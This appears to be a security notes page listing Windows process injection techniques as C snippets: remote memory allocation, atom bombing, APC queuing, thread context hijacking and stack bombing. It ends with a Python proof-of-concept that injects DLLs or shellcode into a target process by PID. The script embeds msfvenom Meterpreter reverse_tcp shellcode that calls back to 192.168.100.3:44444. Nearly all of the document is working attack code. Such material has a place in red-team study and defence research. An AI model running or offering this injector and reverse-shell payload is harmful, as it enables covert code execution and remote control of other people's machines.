Link to this headingProcess Injection Techniques

https://kasimir123.github.io/blog-posts/DLL%20Injection.html

Source

Link to this headingWriting Memory

Memory Allocation Technique:

HANDLE h = OpenProcess(PROCESS_VM_OPERATION, FALSE, process_id); LPVOID target_payload = VirtualAllocEx(h,NULL,sizeof(payload), MEM_COMMIT| MEM_RESERVE, PAGE_EXECUTE_READWRITE);

WriteProcessMemory Technique:

HANDLEh = OpenProcess(PROCESS_VM_WRITE, FALSE, process_id); WriteProcessMemory(h, target_payload, payload, sizeof(payload), NULL);

Shared Memory Writing Technique:

//Memory must already be RWX HANDLE hm = OpenFileMapping(FILE_MAP_ALL_ACCESS,FALSE,section_name); BYTE* buf = (BYTE*)MapViewOfFile(hm, FILE_MAP_ALL_ACCESS, 0, 0, section_size); memcpy(buf+section_size-sizeof(payload), payload, sizeof(payload)) HANDLE h = OpenProcess(PROCESS_QUERY_INFORMATION| PROCESS_VM_READ, FALSE, process_id); char* read_buf= newchar[sizeof(payload)]; SIZE_T region_size; for(DWORD64address = 0; address < 0x00007fffffff0000ull; address += region_size){ MEMORY_BASIC_INFORMATION mem; SIZE_T buffer_size = VirtualQueryEx(h, (LPCVOID)address, &mem, sizeof(mem)); //... Shared memory detection logic here ... if((mem.Type== MEM_MAPPED) && (mem.State== MEM_COMMIT) && (mem.Protect== PAGE_READWRITE) && (mem.RegionSize== section_size)){ ReadProcessMemory(h, (LPCVOID)(address+section_size-sizeof(payload)), read_buf, sizeof(payload), NULL); if(memcmp(read_buf, payload, sizeof(payload)) == 0){ // the payload is at DWORD64 target_payload = address + section_size-sizeof(payload); //DO STUFF break; } } region_size= mem.RegionSize; }

Atom Bombing Write Technique:

//Payload less then 256 bytes //Terminates with a null byte HANDLE th= OpenThread(THREAD_SET_CONTEXT| THREAD_QUERY_INFORMATION, FALSE, thread_id); ATOM a = GlobalAddAtomA(payload); NtQueueApcThread(th, GlobalGetAtomNameA, (PVOID)a, (PVOID)(target_payload), (PVOID)(sizeof(payload)));

NtMapViewOfSection Allocate and Write Technique:

HANDLE fm = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(payload), NULL); LPVOID map_addr=MapViewOfFile(fm, FILE_MAP_ALL_ACCESS, 0, 0, 0); HANDLE p = OpenProcess(PROCESS_VM_WRITE| PROCESS_VM_OPERATION, FALSE, process_id); memcpy(map_addr, payload, sizeof(payload)); LPVOID target_payload=0; SIZE_T view_size=0; NtMapViewOfSection(fm, p, &target_payload, 0, sizeof(payload), NULL, &view_size, ViewUnmap, 0, PAGE_EXECUTE_READWRITE);

memset/memmove Write Technique:

HMODULE ntdll = GetModuleHandleA("ntdll"); HANDLE t = OpenThread(THREAD_SET_CONTEXT, FALSE, thread_id); for(int i= 0; i< sizeof(payload); i++){ NtQueueApcThread(t, GetProcAddress(ntdll, "memset"), (void*)(target_payload+i), (void*)*(((BYTE*)payload)+i), 1); } // Can finish with an “atomic” //NtQueueApcThread(t, GetProcAddress(ntdll, "memmove"), (void*)target_payload_final, (void*)target_payload, sizeof(payload));

Link to this headingExecuting

CreateRemoteThread Execution Technique:

HANDLEh = OpenProcess(PROCESS_CREATE_THREAD, FALSE, process_id); CreateRemoteThread(h, NULL, 0, (LPTHREAD_START_ROUTINE) target_execution, RCX, 0, NULL); //target_execution must be valid or will crash the process

CreateRemoteThread DLL Injection Technique:

HANDLEh = OpenProcess(PROCESS_CREATE_THREAD, FALSE, process_id); CreateRemoteThread(h, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, target_DLL_path, 0, NULL); //Blocked in Windows 10 by CIG

CreateRemoteThread DLL Injection Technique:

Another classic DLL injection execution techniqueHMODULEh = LoadLibraryA(dll_path); HOOKPROCf = (HOOKPROC)GetProcAddress(h, "GetMsgProc"); // GetMessagehook SetWindowsHookExA(WH_GETMESSAGE, f, h, thread_id); PostThreadMessage(thread_id, WM_NULL, NULL, NULL); // trigger the hook //Blocked in Windows 10 by CIG

APC Execution Technique Example 1:

HANDLE h = OpenThread(THREAD_SET_CONTEXT, FALSE, thread_id); QueueUserAPC((LPTHREAD_START_ROUTINE)target_execution, h, RCX); //target_execution must be valid or will crash the process

APC Execution Technique Example 2:

orNtQueueApcThread(h, (LPTHREAD_START_ROUTINE)target_execution, RCX, RDX, R8D); //target_execution must be valid or will crash the process

Suspend Inject and Resume Thread Execution Technique:

HANDLE t = OpenThread(THREAD_SET_CONTEXT, FALSE, thread_id); SuspendThread(t); CONTEXT ctx; ctx.ContextFlags = CONTEXT_CONTROL; ctx.Rip= (DWORD64)target_execution; SetThreadContext(t, &ctx); ResumeThread(t); //Must use Stack Piviot gadget

Unmap and Rewrite Execution Technique:

MODULEINFO ntdll_info; HMODULEntdll = GetModuleHandleA("ntdll"); GetModuleInformation(GetCurrentProcess(), ntdll, &ntdll_info, sizeof(ntdll_info)); LPVOID ntdll_copy = malloc(ntdll_info.SizeOfImage); HANDLE p = OpenProcess(PROCESS_VM_WRITE| PROCESS_VM_READ| PROCESS_VM_OPERATION| PROCESS_SUSPEND_RESUME, FALSE, process_id); NtSuspendProcess(p); ReadProcessMemory(p, ntdll, ntdll_copy, ntdll_info.SizeOfImage, NULL); // Patch e.g. NtClose in ntdll_copy NtUnmapViewOfSection(p, ntdll); // Allocate +(Re)write ntdll_copy to address ntdll in target process FlushInstructionCache(p, ntdll, ntdll_info.SizeOfImage); NtResumeProcess(p);

Stack-bombing Execution Technique:

HANDLE t = OpenThread(THREAD_SET_CONTEXT| THREAD_GET_CONTEXT| THREAD_SUSPEND_RESUME, FALSE, thread_id); SuspendThread(t); CONTEXT ctx; ctx.ContextFlags = CONTEXT_ALL; GetThreadContext(t, &ctx); DWORD64 ROP_chain = (DWORD64)ctx.Rsp; // for the 5 alertable state functions... // Adjust ROP_chainbased on ctx.rip(or use APC...) // write ROP chain to ROP_chain memory address in target processResumeThread(t); // when the current function returns, it’ll execute the ROP chain

Link to this headingDLL Injection

  • Does not work in Windows 10

DLL Injection PoC:

import sys from ctypes import * PAGE_READWRITE = 0x04 PAGE_EXECUTE_READWRITE = 0x00000040 DELETE = 0x00010000 READ_CONTROL = 0x00020000 WRITE_DAC = 0x00040000 WRITE_OWNER = 0x00080000 SYNCHRONIZE = 0x00100000 PROCESS_ALL_ACCESS = ( DELETE | READ_CONTROL | WRITE_DAC | WRITE_OWNER | SYNCHRONIZE | 0xFFF # If < WinXP/WinServer2003 - 0xFFFF otherwise ) VIRTUAL_MEM = ( 0x1000 | 0x2000 ) KERNEL32 = windll.kernel32 def dllinject(dll_path, pid): """ Inject a DLL into target process. :param dll_path: path to dll :param pid: target process id """ dll_len = len(dll_path) #Use Windows Process Handler h_process = KERNEL32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid)) if not h_process: # No handler to PID return False # Allocate Memory for the DLL dll_address = KERNEL32.VirtualAllocEx( h_process, 0, dll_len, VIRTUAL_MEM, PAGE_READWRITE) w = c_int(0) # Write DLL into allocated memory KERNEL32.WriteProcessMemory( h_process, dll_address, dll_path, dll_len, byref(w)) # Find LoadLibraryA function h_kernel32 = KERNEL32.GetModuleHandleA('kernel32.dll') h_loadlib = KERNEL32.GetProcAddress(h_kernel32, 'LoadLibraryA') # Create a new thread in target process t_id = c_ulong(0) if not KERNEL32.CreateRemoteThread( h_process, None, 0, h_loadlib, dll_address, 0, byref(t_id)): # Cannot start a thread return False print t_id return True def codeinject(shellcode, pid): """ Inject code into target process. :param shellcode: shellcode to inject :param pid: target process id """ shellcode_len = len(shellcode) #Use Windows Process Handler h_process = KERNEL32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid)) if not h_process: # No handler to PID print 'No handler to PID' return False # Allocate Memory for the Shellcode shellcode_address = KERNEL32.VirtualAllocEx( h_process, 0, shellcode_len, VIRTUAL_MEM, PAGE_EXECUTE_READWRITE) w = c_int(0) # Write shellcode to the new memory KERNEL32.WriteProcessMemory( h_process, shellcode_address, shellcode, shellcode_len, byref(w)) t_id = c_ulong(0) #Create Thread in the process and execute the shellcode if not KERNEL32.CreateRemoteThread( h_process, None, 0, shellcode_address, None, 0, byref(t_id)): # Cannot start thread return False return True if __name__ == '__main__': #msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.100.3 LPORT=44444 --platform Windows -f py --bad-chars '\x00\x0A\x0D' -o payload.bin shellcode = b"" shellcode += b"\xdb\xd5\xd9\x74\x24\xf4\x58\x29\xc9\xb1\x56\xbb\xb5" shellcode += b"\xea\x95\xb2\x31\x58\x18\x03\x58\x18\x83\xc0\xb1\x08" shellcode += b"\x60\x4e\x51\x4e\x8b\xaf\xa1\x2f\x05\x4a\x90\x6f\x71" shellcode += b"\x1e\x82\x5f\xf1\x72\x2e\x2b\x57\x67\xa5\x59\x70\x88" shellcode += b"\x0e\xd7\xa6\xa7\x8f\x44\x9a\xa6\x13\x97\xcf\x08\x2a" shellcode += b"\x58\x02\x48\x6b\x85\xef\x18\x24\xc1\x42\x8d\x41\x9f" shellcode += b"\x5e\x26\x19\x31\xe7\xdb\xe9\x30\xc6\x4d\x62\x6b\xc8" shellcode += b"\x6c\xa7\x07\x41\x77\xa4\x22\x1b\x0c\x1e\xd8\x9a\xc4" shellcode += b"\x6f\x21\x30\x29\x40\xd0\x48\x6d\x66\x0b\x3f\x87\x95" shellcode += b"\xb6\x38\x5c\xe4\x6c\xcc\x47\x4e\xe6\x76\xac\x6f\x2b" shellcode += b"\xe0\x27\x63\x80\x66\x6f\x67\x17\xaa\x1b\x93\x9c\x4d" shellcode += b"\xcc\x12\xe6\x69\xc8\x7f\xbc\x10\x49\x25\x13\x2c\x89" shellcode += b"\x86\xcc\x88\xc1\x2a\x18\xa1\x8b\x22\xed\x88\x33\xb2" shellcode += b"\x79\x9a\x40\x80\x26\x30\xcf\xa8\xaf\x9e\x08\xb9\xb8" shellcode += b"\x20\xc6\x01\xa8\xde\xe7\x71\xe0\x24\xb3\x21\x9a\x8d" shellcode += b"\xbc\xaa\x5a\x31\x69\x46\x51\xa5\x52\x3e\x01\x36\x3b" shellcode += b"\x3c\xca\x95\x27\xc9\x2c\xb5\x07\x99\xe0\x76\xf8\x59" shellcode += b"\x51\x1f\x12\x56\x8e\x3f\x1d\xbd\xa7\xaa\xf2\x6b\x9f" shellcode += b"\x42\x6a\x36\x6b\xf2\x73\xed\x11\x34\xff\x07\xe5\xfb" shellcode += b"\x08\x62\xf5\xec\x6e\x8c\x05\xed\x1a\x8c\x6f\xe9\x8c" shellcode += b"\xdb\x07\xf3\xe9\x2b\x88\x0c\xdc\x28\xcf\xf3\xa1\x18" shellcode += b"\xbb\xc2\x37\x24\xd3\x2a\xd8\xa4\x23\x7d\xb2\xa4\x4b" shellcode += b"\xd9\xe6\xf7\x6e\x26\x33\x64\x23\xb3\xbc\xdc\x97\x14" shellcode += b"\xd5\xe2\xce\x53\x7a\x1d\x25\xe0\x7d\xe1\xbb\xcf\x25" shellcode += b"\x89\x43\x50\xd6\x49\x2e\x50\x86\x21\xa5\x7f\x29\x81" shellcode += b"\x46\xaa\x62\x89\xcd\x3b\xc0\x28\xd1\x11\x84\xf4\xd2" shellcode += b"\x96\x1d\x07\xa8\xd7\xa2\xe8\x4d\xfe\xc6\xe9\x4d\xfe" shellcode += b"\xf8\xd6\x9b\xc7\x8e\x19\x18\x7c\x80\x2c\x3d\xd5\x0b" shellcode += b"\x4e\x11\x25\x1e" codeinject(shellcode, sys.argv[1])